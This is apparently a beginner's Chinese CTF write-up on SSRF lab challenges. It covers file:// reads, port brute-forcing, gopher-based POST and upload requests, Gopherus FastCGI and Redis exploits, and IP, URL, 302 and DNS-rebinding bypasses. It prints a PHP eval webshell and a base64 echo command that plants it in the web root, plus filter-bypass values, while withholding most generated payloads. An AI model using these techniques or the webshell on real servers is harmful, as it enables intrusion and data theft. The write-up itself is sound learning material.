孩子不懂事,写着玩的,有什么不严谨还请海涵顺带指正(纯菜鸡来的)

什么是ssrf?

SSRF 的全称是 Server-Side Request Forgery,翻译为服务器端请求伪造,正常情况下,Web 服务器会根据用户的合法请求,去访问外部公开的资源(比如调用第三方 API、获取公开图片等)。而 SSRF 漏洞的本质是:攻击者通过构造恶意请求,诱导服务器代替自己,去访问服务器本身能访问到的、但攻击者原本无权访问的资源,多见于未对请求进行严格过滤(摘自ai)

可能存在的位置:

  1. 在线图片 / 视频 URL 抓取、链接预览
  2. 第三方 API 调用(参数含用户可控地址)
  3. 云存储 / CDN 回源 / 镜像同步(自定义目标地址)
  4. 内网监控、端口探测、远程诊断功能
  5. 错误回调、邮件链接检测、版本更新检测(可控请求地址)

内网访问:

开门一片空白,略感惊慌失措

看url处发现,已经构造了一个变量

想起题目要求在127.0.0.1中访问flag.php,然后构建payload

个人理解,这里构造的payload使我们进入了内网环境;那么访问文件只要像平常访问其他网站下内容一样就行

出现flag

伪协议读取文件:

题目说在web目录下读取flag文件,用内网访问相同的方法试试

看来不行,但他敢做回显就是有戏

小手犯贱试试加一个web(猜的)

不出意外的炸了

查找后了解到web目录就是网站根目录

使用file协议(直接读取文件)进行文件访问

修改payload

file:///【绝对路径与文件名】

所以改成file:///var/www/html/flag.php(该路径内存放网站资源,在阿帕奇等服务器的配置文件中该目录被作为网站根目录)

打开后发现还是空白,但查看源码发现flag

端口扫描:

打开题目又是白花花一片

但题目说到要扫描端口,所以我们应该在payload中构建端口

端口格式如下:

协议://主机名[:端口号]/路径?查询参数#锚点

所以说,构建 http://127.0.0.1:8000 作为基础payload,既然指定范围那就肯定要爆破了

塞给bp

使用数字模式爆破,范围是8000到9000;在回返长度处筛选

看到8960回显长度不同(正序倒序都试试),打开页面渲染

出现flag

POST请求:

打开题目依旧是陌生的天花板

没什么别的思路继续尝试用http://127.0.0.1/flag.php

然后发现出现一个输入框

接着尝试ctrl u看看有没有源码,然后发现一段key

尝试在输入框输入key,然后爆出只在127.0.0.1内查看文件

既然能回显东西肯定有源代码

用file直接查看index.php与flag.php

发现在flag.php中有一段关键代码

没猜错就是当key的输入值等于key值的时候输出flag,为了知道在哪里输入key值,先用bp抓个包;

看来就是在输入框中输入内容

尝试使用gopher协议构建payload,这里需要对上面截图中的请求进行url编码,因为php解码一次,curl需要解码一次,所以我们要解码两次。这边建议直接交给ai,同时让ai把编译后的%0a替换为%0d%0a【ai太伟大了,铁人叛乱我第一个投敌()】第二次交给在线编码,防止抽风【目前我还没找到合适的脚本,在线编译整不出来】

然后在url处构建payload:

gopher://127.0.0.1:80/_xxxx(xxxx为编码后内容)

爆出flag

gopher使用格式:gopher://<ip>[:<端口>]/<载荷>【端口不修改默认70】

文件上传:

本质还是使用gopher协议

打开,依旧空白,然后payload到127.0.0.1的flag.php

发现有文件上传的位置,显然是要塞个木马的

但选择文件后有点蛋疼的发现没法上传

没有条件就创造条件,f12打开元素添加提交代码<input type="submit" value="提交">

【左键左边的三个点,选择重复元素,然后发现多了一个文件选择框,调整内容为sumbit,实现上传框】

bp抓包:

故技重施扔给ai:

得到的payload就不展示了,直接将它包装到gopher里,发送,得到flag

【flag区分大小写,ctrl+u查看源码复制小写flag]

FastCGI:

fastcgi是一种类似于http的通信协议,他的具体介绍在题目附件中有所展示,故不在过多赘述

打开题目依旧白花花一片,用老方法构造127的payload,发现没什么用

既然fast的本质是信息的发送与接受,那么自然想通过发送指令达成查看目录或者文件的效果

介绍我们今天的主角:gohpherus,这是下载链接:https://github.com/tarunkant/Gopherus.git

在kali中打开,输入指令:/gopherus.py --exploit fastcgi(因为已经确定所需格式为fastcgi)

这是gopherus支持的协议,摘自ai

回车发送之后发现运行成功

下面有两个输入框,第一个指向可读php文件,第二个是将要进行的操作

我们直接指向/var/www/html/index.php(默认网站主页)

然后将第二输入框输入ls / 检查根目录(也可以先ls查看当前目录,但linux服务器的flag一般在根目录下)

工具生成payload如下:

需要注意的是,该工具只是一个协议payload生成器,与网站没什么直接关系,指向index.php是因为我们知道它默认存在

拉去二次url编码,生成的二次payload不在展示

这里不需要修改%0a

然后我们粘贴payload,构造到题目中去

出现类似界面说明命令执行成功,然后我们发现flag确实存在在根目录中

接着只要读取就行了,在用相同的指令呼出工具后,第二层输入cat /f*(这里直接指向根目录下flag名也行,但偷懒直接读取根目录下f开头的文件)

得到flag

其实还有另一种解法,要读取文件的话我们也能想到一个方式是上传木马,虽然题目没有提供上传方式,但我们可以通过指令发送一个木马,让服务器以php的方式保存,我这里用

<?php eval(@$_POST['a']); ?>

先对它用base64编码,方便绕过

然后在第二层输入

echo  PD9waHAgZXZhbChAJF9QT1NUWydhJ10pOyA/Pg== | base64 -d >/var/www/html/bronya.php

(在/var/www/html文件夹下输入base64解码后的D9waHAgZXZhbChAJF9QT1NUWydhJ10pOyA/Pg==,并以格式为php,文件名为bronya的文件保存下来)

这样,我们就上传了一个木马,让我们ls一下当前目录,看看是否上传成功

看到文件存在,说明上传成功了,然后用蚁剑连接木马,翻目录查找flag

(说来惭愧,我的蚁剑似乎今天抽风,连接不上,但方法没什么问题应该)

REDIS:

这道题基本思路和上一题没什么区别,只是在呼出工具时需要换一下协议

/gopherus.py --exploit redis

呼出后界面如下:

第一层输入框,看似主观题实际选择题,在问你需要哪种格式的木马,这里输入phpshell,选择php格式的木马,回车确定

第二层输入;这里默认位置就是网站根目录,所以不用管,直接回车来到第三层:

这里就要我们输入木马了,虽然它说有默认的木马,但我们还是请出我们的老朋友更方便点;

得到木马名称为shell.php,路径在网站根目录

得到初步payload;拉去二次编码,依旧不需要替换%0a,就不展示了

构造访问后,发现一直在转圈加载,我们不管它,新开一个标签页尝试访问shell.php

虽然奇奇怪怪,但证明我们成功上传,这时候请出蚁剑老祖:

经过测试后发现连通,在网站根目录下找到我们的马,服务器根目录下找到flag

URLbypass:

这里涉及到http身份认证,在@后直接加想要访问的地址,实现访问目标地址,URL 中@符号的作用是 “分隔用户凭证和主机地址”,但服务器的过滤逻辑可能只检查@前面的字符串,而实际请求会忽略@前的内容,直接访问@后的地址

ipbypass:

将127.0.0.1换为十六或八进制就行

十六:0x7f000001

八:0177.000.000.001

302跳转pass:

照旧构造127.0.0.1,行不通,那就试试扒源码

index.php

flag.php

在index可以发现它ban掉了127,172,10,192,但没有ban掉localhost(主机地址)

直接将原先的127.0.0.1替换为localhost

获得flag

DNS重绑定:

这里扒完源码发现和上一关一样,尝试相同方法

看来不行

附件中给到一个网址:rbndr.us DNS 重新绑定服务

打开发现两个ip,一个指向主机,另一个指向不明地址

将另一个换为127.0.0.2

用下方的地址构建payload

得到flag

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐